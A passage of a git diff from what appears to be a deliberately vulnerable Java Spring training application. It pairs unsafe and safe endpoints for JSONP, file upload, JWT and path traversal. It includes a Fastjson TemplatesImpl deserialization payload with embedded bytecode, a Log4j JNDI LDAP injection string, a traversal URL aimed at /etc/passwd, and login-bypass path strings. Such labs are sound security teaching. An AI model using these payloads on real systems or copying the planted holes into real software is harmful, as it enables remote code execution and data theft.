AbstractJsonpResponseBodyAdvice
will be removed as of Spring Framework 5.1, use CORS instead.
+ * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
+ */
+@ControllerAdvice
+public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice {
+
+ private final String[] callbacks;
+ private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+
+ // method of using @Value in constructor
+ public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
+ super(callbacks); // Can set multiple paramNames
+ this.callbacks = callbacks;
+ }
+
+
+ // Check referer
+ @Override
+ protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType,
+ MethodParameter returnType, ServerHttpRequest req,
+ ServerHttpResponse res) {
+
+ HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest();
+ HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse();
+
+ String realJsonpFunc = getRealJsonpFunc(request);
+ // 如果url带callback,且校验不安全后
+ if ( StringUtils.isNotBlank(realJsonpFunc) ) {
+ jsonpReferHandler(request, response);
+ }
+ super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res);
+ }
+
+ /**
+ * @return 获取实际jsonp的callback
+ */
+ private String getRealJsonpFunc(HttpServletRequest req) {
+
+ String reqCallback = null;
+ for (String callback: this.callbacks) {
+ reqCallback = req.getParameter(callback);
+ if(StringUtils.isNotBlank(reqCallback)) {
+ break;
+ }
+ }
+ return reqCallback;
+ }
+
+ // 校验Jsonp的Referer
+ private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) {
+
+ String refer = request.getHeader("referer");
+ String url = request.getRequestURL().toString();
+ String query = request.getQueryString();
+
+ // 如果jsonp校验的开关为false,不校验
+ if ( !WebConfig.getJsonpReferCheckEnabled() ) {
+ return;
+ }
+
+ // 校验jsonp逻辑,如果不安全,返回forbidden
+ if (SecurityUtil.checkURL(refer) == null ){
+ logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
+ try{
+ // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错
+// response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+// response.getWriter().write(" Referer check error.");
+// response.flushBuffer();
+ response.sendRedirect(Constants.ERROR_PAGE);
+ } catch (Exception e){
+ logger.error(e.toString());
+ }
+
+ }
+ }
+}
diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java
new file mode 100644
index 00000000..de2d0bd7
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainConfig.java
@@ -0,0 +1,29 @@
+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+
+
+/**
+ * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在Bean里。
+ */
+@Configuration
+public class SafeDomainConfig {
+
+ private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class);
+
+ @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中
+ public SafeDomainParser safeDomainParser() {
+ try {
+ LOGGER.info("SafeDomainParser bean inject successfully!!!");
+ return new SafeDomainParser();
+ } catch (Exception e) {
+ LOGGER.error("SafeDomainParser is null " + e.getMessage(), e);
+ }
+ return null;
+ }
+
+}
+
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
new file mode 100644
index 00000000..b92ff9eb
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -0,0 +1,140 @@
+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.core.io.ClassPathResource;
+import org.w3c.dom.Document;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import java.io.File;
+import java.util.ArrayList;
+
+public class SafeDomainParser {
+
+ private static Logger logger = LoggerFactory.getLogger(SafeDomainParser.class);
+
+ public SafeDomainParser() {
+
+ String rootTag = "domains";
+ String safeDomainTag = "safedomains";
+ String blockDomainTag = "blockdomains";
+ String finalTag = "domain";
+ String safeDomainClassPath = "url" + File.separator + "url_safe_domain.xml";
+ ArrayList
+ * 漏洞相关wiki
+ * @author JoyChou @2023-01-212
+ */
+
+public class Dotall {
+
+
+ /**
+ * 官方spring-security修复commit记录
+ */
+ public static void main(String[] args) throws Exception{
+ Pattern vuln_pattern = Pattern.compile("/black_path.*");
+ Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL);
+
+ String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString());
+ System.out.println("Poc: " + poc);
+ System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n
+ System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n
+ }
+}
diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 8359a1bc..37c4ec18 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -2,6 +2,7 @@
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
+import com.alibaba.fastjson.parser.Feature;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -9,29 +10,26 @@
import org.springframework.web.bind.annotation.ResponseBody;
-
@Controller
@RequestMapping("/fastjson")
public class Fastjson {
- @RequestMapping(value = "deserialize", method = {RequestMethod.POST })
+ @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
- public static String Deserialize(@RequestBody String params) {
+ public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
- System.out.println(params);
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
- }catch (Exception e){
- e.printStackTrace();
+ } catch (Exception e) {
return e.toString();
}
}
- public static void main(String[] args){
- String str = "{\"name\": \"fastjson\"}";
- JSONObject jo = JSON.parseObject(str);
- System.out.println(jo.get("name")); // fastjson
+ public static void main(String[] args) {
+ // Open calc in mac
+ String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
+ JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index 947b9496..a1858a12 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -1,36 +1,52 @@
package org.joychou.controller;
+import com.fasterxml.uuid.Generators;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
+import javax.imageio.ImageIO;
+import java.awt.image.BufferedImage;
+import java.io.File;
+import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
+import java.util.UUID;
+
+import org.joychou.security.SecurityUtil;
+
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2018.08.15
- * @desc: Java file upload
+ * File upload.
+ *
+ * @author JoyChou @ 2018-08-15
*/
-
@Controller
@RequestMapping("/file")
public class FileUpload {
// Save the uploaded file to this folder
- private static String UPLOADED_FOLDER = "/tmp/";
+ private static final String UPLOADED_FOLDER = "/tmp/";
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+ private static String randomFilePath = "";
- @GetMapping("/")
+ // uplaod any file
+ @GetMapping("/any")
public String index() {
return "upload"; // return upload.html page
}
+ // only allow to upload pictures
+ @GetMapping("/pic")
+ public String uploadPic() {
+ return "uploadPic"; // return uploadPic.html page
+ }
+
@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
@@ -51,8 +67,7 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file,
} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
- e.printStackTrace();
- return "uploadStatus";
+ logger.error(e.toString());
}
return "redirect:/file/status";
@@ -63,4 +78,121 @@ public String uploadStatus() {
return "uploadStatus";
}
-}
+ // only upload picture
+ @PostMapping("/upload/picture")
+ @ResponseBody
+ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
+ if (multifile.isEmpty()) {
+ return "Please select a file to upload";
+ }
+
+ String fileName = multifile.getOriginalFilename();
+ String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
+ String mimeType = multifile.getContentType(); // 获取MIME类型
+ String filePath = UPLOADED_FOLDER + fileName;
+ File excelFile = convert(multifile);
+
+
+ // 判断文件后缀名是否在白名单内 校验1
+ String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
+ boolean suffixFlag = false;
+ for (String white_suffix : picSuffixList) {
+ if (Suffix.toLowerCase().equals(white_suffix)) {
+ suffixFlag = true;
+ break;
+ }
+ }
+ if (!suffixFlag) {
+ logger.error("[-] Suffix error: " + Suffix);
+ deleteFile(filePath);
+ return "Upload failed. Illeagl picture.";
+ }
+
+
+ // 判断MIME类型是否在黑名单内 校验2
+ String[] mimeTypeBlackList = {
+ "text/html",
+ "text/javascript",
+ "application/javascript",
+ "application/ecmascript",
+ "text/xml",
+ "application/xml"
+ };
+ for (String blackMimeType : mimeTypeBlackList) {
+ // 用contains是为了防止text/html;charset=UTF-8绕过
+ if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
+ logger.error("[-] Mime type error: " + mimeType);
+ deleteFile(filePath);
+ return "Upload failed. Illeagl picture.";
+ }
+ }
+
+ // 判断文件内容是否是图片 校验3
+ boolean isImageFlag = isImage(excelFile);
+ deleteFile(randomFilePath);
+
+ if (!isImageFlag) {
+ logger.error("[-] File is not Image");
+ deleteFile(filePath);
+ return "Upload failed. Illeagl picture.";
+ }
+
+
+ try {
+ // Get the file and save it somewhere
+ byte[] bytes = multifile.getBytes();
+ Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
+ Files.write(path, bytes);
+ } catch (IOException e) {
+ logger.error(e.toString());
+ deleteFile(filePath);
+ return "Upload failed";
+ }
+
+ logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
+ logger.info("[+] Successfully uploaded {}", filePath);
+ return String.format("You successfully uploaded '%s'", filePath);
+ }
+
+ private void deleteFile(String filePath) {
+ File delFile = new File(filePath);
+ if(delFile.isFile() && delFile.exists()) {
+ if (delFile.delete()) {
+ logger.info("[+] " + filePath + " delete successfully!");
+ return;
+ }
+ }
+ logger.info(filePath + " delete failed!");
+ }
+
+ /**
+ * 为了使用ImageIO.read()
+ *
+ * 不建议使用transferTo,因为原始的MultipartFile会被覆盖
+ * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
+ */
+ private File convert(MultipartFile multiFile) throws Exception {
+ String fileName = multiFile.getOriginalFilename();
+ String suffix = fileName.substring(fileName.lastIndexOf("."));
+ UUID uuid = Generators.timeBasedGenerator().generate();
+ randomFilePath = UPLOADED_FOLDER + uuid + suffix;
+ // 随机生成一个同后缀名的文件
+ File convFile = new File(randomFilePath);
+ boolean ret = convFile.createNewFile();
+ if (!ret) {
+ return null;
+ }
+ FileOutputStream fos = new FileOutputStream(convFile);
+ fos.write(multiFile.getBytes());
+ fos.close();
+ return convFile;
+ }
+
+ /**
+ * Check if the file is a picture.
+ */
+ private static boolean isImage(File file) throws IOException {
+ BufferedImage bi = ImageIO.read(file);
+ return bi != null;
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
new file mode 100644
index 00000000..e500b980
--- /dev/null
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -0,0 +1,51 @@
+package org.joychou.controller;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.AntPathMatcher;
+import org.springframework.util.PathMatcher;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+/**
+ * The difference between getRequestURI and getServletPath.
+ * 由于Spring Security的antMatchers("/css/**", "/js/**")
未使用getRequestURI,所以登录不会被绕过。
+ *
+ * Details: https://joychou.org/web/security-of-getRequestURI.html + *
+ * Poc:
+ * http://localhost:8080/css/%2e%2e/exclued/vuln
+ * http://localhost:8080/css/..;/exclued/vuln
+ * http://localhost:8080/css/..;bypasswaf/exclued/vuln
+ *
+ * @author JoyChou @2020-03-28
+ */
+
+@RestController
+@RequestMapping("uri")
+public class GetRequestURI {
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @GetMapping(value = "/exclued/vuln")
+ public String exclued(HttpServletRequest request) {
+
+ String[] excluedPath = {"/css/**", "/js/**"};
+ String uri = request.getRequestURI(); // Security: request.getServletPath()
+ PathMatcher matcher = new AntPathMatcher();
+
+ logger.info("getRequestURI: " + uri);
+ logger.info("getServletPath: " + request.getServletPath());
+
+ for (String path : excluedPath) {
+ if (matcher.match(path, uri)) {
+ return "You have bypassed the login page.";
+ }
+ }
+ return "This is a login page >..<";
+ }
+}
diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java
index 5874ffc3..9950e766 100644
--- a/src/main/java/org/joychou/controller/IPForge.java
+++ b/src/main/java/org/joychou/controller/IPForge.java
@@ -1,25 +1,23 @@
package org.joychou.controller;
import org.apache.commons.lang.StringUtils;
-import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2017.12.29
- * @desc: Java获取IP安全代码
- * @detail: 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html
+ * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html
+ *
+ * @author JoyChou @ 2017-12-29
*/
-
-@Controller
+@RestController
@RequestMapping("/ip")
public class IPForge {
+
// no any proxy
@RequestMapping("/noproxy")
- @ResponseBody
public static String noProxy(HttpServletRequest request) {
return request.getRemoteAddr();
}
@@ -36,7 +34,7 @@ public static String proxy(HttpServletRequest request) {
String ip = request.getHeader("X-Real-IP");
if (StringUtils.isNotBlank(ip)) {
return ip;
- }else {
+ } else {
String remoteAddr = request.getRemoteAddr();
if (StringUtils.isNotBlank(remoteAddr)) {
return remoteAddr;
diff --git a/src/main/java/org/joychou/controller/Index.java b/src/main/java/org/joychou/controller/Index.java
index a8ebd2ab..df922e7d 100644
--- a/src/main/java/org/joychou/controller/Index.java
+++ b/src/main/java/org/joychou/controller/Index.java
@@ -2,31 +2,51 @@
import com.alibaba.fastjson.JSON;
+import org.apache.catalina.util.ServerInfo;
import org.springframework.stereotype.Controller;
+import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
+import javax.servlet.http.HttpServletRequest;
import java.util.HashMap;
import java.util.Map;
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2018.05.28
- * @desc: Index Page
+ * Index page
+ *
+ * @author JoyChou @2018-05-28
*/
-
@Controller
public class Index {
- @RequestMapping("/")
+
+ @RequestMapping("/appInfo")
@ResponseBody
- public static String index() {
- Map m = new HashMap();
- m.put("app_name", "java_vul_code");
+ public static String appInfo(HttpServletRequest request) {
+ String username = request.getUserPrincipal().getName();
+ Map
+ * http://localhost:8080/jsonp/vuln/referer?callback_=test
+ */
+ @RequestMapping(value = "/vuln/referer", produces = "application/javascript")
+ public String referer(HttpServletRequest request) {
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+ /**
+ * Direct access does not check Referer, non-direct access check referer.
+ * Developer like to do jsonp testing like this.
+ *
+ * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test
+ */
+ @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript")
+ public String emptyReferer(HttpServletRequest request) {
+ String referer = request.getHeader("referer");
+
+ if (null != referer && SecurityUtil.checkURL(referer) == null) {
+ return "error";
+ }
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+ /**
+ * Adding callback or _callback on parameter can automatically return jsonp data.
+ * http://localhost:8080/jsonp/object2jsonp?callback=test
+ * http://localhost:8080/jsonp/object2jsonp?_callback=test
+ *
+ * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
+ * Such as JSONOjbect or JavaBean. String type cannot be used.
+ */
+ @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE)
+ public JSONObject advice(HttpServletRequest request) {
+ return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+
+ /**
+ * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test
+ * Reference: https://p0sec.net/index.php/archives/122/ from p0
+ * Affected version: java-sec-code test case version: 4.3.6
+ * - Spring Framework 5.0 to 5.0.6
+ * - Spring Framework 4.1 to 4.3.17
+ */
+ @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
+ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
+ ModelAndView view = new ModelAndView(new MappingJackson2JsonView());
+ Principal principal = req.getUserPrincipal();
+ view.addObject("username", principal.getName());
+ return view;
+ }
+
+
+ /**
+ * Safe code.
+ * http://localhost:8080/jsonp/sec?callback_=test
+ */
+ @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript")
+ public String safecode(HttpServletRequest request) {
+ String referer = request.getHeader("referer");
+
+ if (SecurityUtil.checkURL(referer) == null) {
+ return "error";
+ }
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+ /**
+ * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa
+ *
+ * object to jsonp
+ */
+ @GetMapping("/getToken")
+ public CsrfToken getCsrfToken1(CsrfToken token) {
+ return token;
+ }
+
+ /**
+ * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa
+ *
+ * fastjsonp to jsonp
+ */
+ @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript")
+ public String getCsrfToken2(HttpServletRequest request) {
+ CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token
+
+ String callback = request.getParameter("fastjsonpCallback");
+ if (StringUtils.isNotBlank(callback)) {
+ JSONPObject jsonpObj = new JSONPObject(callback);
+ jsonpObj.addParameter(csrfToken);
+ return jsonpObj.toString();
+ } else {
+ return csrfToken.toString();
+ }
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java
new file mode 100644
index 00000000..f3e4c126
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jwt.java
@@ -0,0 +1,64 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.joychou.util.CookieUtils;
+import org.joychou.util.JwtUtils;
+import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+/**
+ *
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jwt")
+public class Jwt {
+
+ private static final String COOKIE_NAME = "USER_COOKIE";
+ /**
+ * http://localhost:8080/jwt/createToken
+ * Create jwt token and set token to cookies.
+ *
+ * @author JoyChou 2022-09-20
+ */
+ @GetMapping("/createToken")
+ public String createToken(HttpServletResponse response, HttpServletRequest request) {
+ String loginUser = request.getUserPrincipal().getName();
+ log.info("Current login user is " + loginUser);
+
+ if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){
+ return String.format("%s cookie delete failed", COOKIE_NAME);
+ }
+ String token = JwtUtils.generateTokenByJavaJwt(loginUser);
+ Cookie cookie = new Cookie(COOKIE_NAME, token);
+
+ cookie.setMaxAge(86400); // 1 DAY
+ cookie.setPath("/");
+ cookie.setSecure(true);
+ response.addCookie(cookie);
+ return "Add jwt token cookie successfully. Cookie name is USER_COOKIE";
+ }
+
+
+ /**
+ * http://localhost:8080/jwt/getName
+ * Get nickname from USER_COOKIE
+ *
+ * @author JoyChou 2022-09-20
+ * @param user_cookie cookie
+ * @return nickname
+ */
+ @GetMapping("/getName")
+ public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) {
+ String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie);
+ return "Current jwt user is " + nickname;
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
new file mode 100644
index 00000000..b2ea4060
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -0,0 +1,29 @@
+package org.joychou.controller;
+
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class Log4j {
+
+ private static final Logger logger = LogManager.getLogger("Log4j");
+
+ /**
+ * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
+ * Default: error/fatal/off
+ * Fix: Update log4j to lastet version.
+ */
+ @RequestMapping(value = "/log4j")
+ public String log4j(String token) {
+ logger.error(token);
+ return token;
+ }
+
+ public static void main(String[] args) {
+ String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
+ logger.error(poc);
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java
new file mode 100644
index 00000000..16769e4a
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Login.java
@@ -0,0 +1,54 @@
+package org.joychou.controller;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.security.web.authentication.logout.SecurityContextLogoutHandler;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+@Controller
+public class Login {
+
+ protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @RequestMapping("/login")
+ public String login() {
+ return "login";
+ }
+
+ @GetMapping("/logout")
+ public String logoutPage(HttpServletRequest request, HttpServletResponse response) {
+
+ String username = request.getUserPrincipal().getName();
+
+ Authentication auth = SecurityContextHolder.getContext().getAuthentication();
+ if (auth != null) {
+ new SecurityContextLogoutHandler().logout(request, response, auth);
+ }
+
+ String[] deleteCookieKey = {"JSESSIONID", "remember-me"}; // delete cookie
+ for (String key : deleteCookieKey) {
+ Cookie cookie = new Cookie(key, null);
+ cookie.setMaxAge(0);
+ cookie.setPath("/");
+ response.addCookie(cookie);
+ }
+
+ if (null == request.getUserPrincipal()) {
+ logger.info("USER " + username + " LOGOUT SUCCESS.");
+ } else {
+ logger.info("User " + username + " logout failed. Please try again.");
+ }
+
+ return "redirect:/login?logout";
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java
new file mode 100644
index 00000000..1976b01b
--- /dev/null
+++ b/src/main/java/org/joychou/controller/PathTraversal.java
@@ -0,0 +1,56 @@
+package org.joychou.controller;
+
+import org.apache.commons.codec.binary.Base64;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+@RestController
+public class PathTraversal {
+
+ protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ /**
+ * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd
+ */
+ @GetMapping("/path_traversal/vul")
+ public String getImage(String filepath) throws IOException {
+ return getImgBase64(filepath);
+ }
+
+ @GetMapping("/path_traversal/sec")
+ public String getImageSec(String filepath) throws IOException {
+ if (SecurityUtil.pathFilter(filepath) == null) {
+ logger.info("Illegal file path: " + filepath);
+ return "Bad boy. Illegal file path.";
+ }
+ return getImgBase64(filepath);
+ }
+
